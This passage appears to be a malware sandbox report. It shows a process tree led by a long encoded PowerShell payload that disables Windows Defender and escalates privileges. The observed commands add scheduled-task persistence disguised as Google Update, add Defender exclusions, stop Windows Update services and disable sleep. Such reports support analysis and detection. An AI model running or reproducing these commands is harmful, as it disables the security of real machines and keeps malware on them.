AKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
        5⤵
        
        PID:6132
      - C:\Windows\SysWOW64\sc.exe
        
        "C:\Windows\system32\sc.exe" qc windefend
        6⤵
        Launches sc.exe
        
        PID:5172
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
        6⤵
        
        PID:5408
      - C:\Windows\SysWOW64\whoami.exe
        
        "C:\Windows\system32\whoami.exe" /groups
        6⤵
        
        PID:4352
      - C:\Windows\SysWOW64\net1.exe
        
        "C:\Windows\system32\net1.exe" start TrustedInstaller
        6⤵
        
        PID:4652
      - C:\Windows\SysWOW64\net1.exe
        
        "C:\Windows\system32\net1.exe" start lsass
        6⤵
        
        PID:4856
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32 -s 2832
        5⤵
        Program crash
        
        PID:5584
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "calc" /tr '"C:\Users\Admin\AppData\Roaming\calc.exe"' & exit
    3⤵
    PID:5492
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "calc" /tr '"C:\Users\Admin\AppData\Roaming\calc.exe"'
      4⤵
      Creates scheduled task(s)
      PID:5600
- C:\Users\Admin\AppData\Local\Temp\8E30.exe
  C:\Users\Admin\AppData\Local\Temp\8E30.exe
  2⤵
  PID:3776
- - C:\Windows\system32\rundll32.exe
    C:\Windows\system32\rundll32.exe fbeeecfdfc.sys,#1
    3⤵
    PID:5148
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\system32\rundll32.exe fbeeecfdfc.sys,#1
      4⤵
      Loads dropped DLL
      PID:5204
- C:\Users\Admin\AppData\Local\Temp\948A.exe
  C:\Users\Admin\AppData\Local\Temp\948A.exe
  2⤵
  - Executes dropped EXE
  PID:5264
- C:\Users\Admin\AppData\Local\Temp\A36F.exe
  C:\Users\Admin\AppData\Local\Temp\A36F.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  PID:5640
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:5988
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xhoymdsniflw.xml"
  2⤵
  - Creates scheduled task(s)
  PID:1756
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:5720
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2684
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2492
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4704
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3620
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5552
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5904
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xhoymdsniflw.xml"
  2⤵
  - Creates scheduled task(s)
  PID:6068
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:6028
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:5652
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5632
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2980
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:6104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:520
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:5160

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5112

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:676

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
- Executes dropped EXE
PID:2928

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2620

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3616

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4236

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:6020

C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
1⤵
PID:6128

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
PID:3996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
1⤵
PID:5924
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\system32\sc.exe" qc windefend
  2⤵
  - Launches sc.exe
  PID:4816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
  2⤵
  PID:6132
- C:\Windows\SysWOW64\whoami.exe
  "C:\Windows\system32\whoami.exe" /groups
  2⤵
  PID:6036
- C:\Windows\SysWOW64\net1.exe
  "C:\Windows\system32\net1.exe" stop windefend
  2⤵
  PID:6048
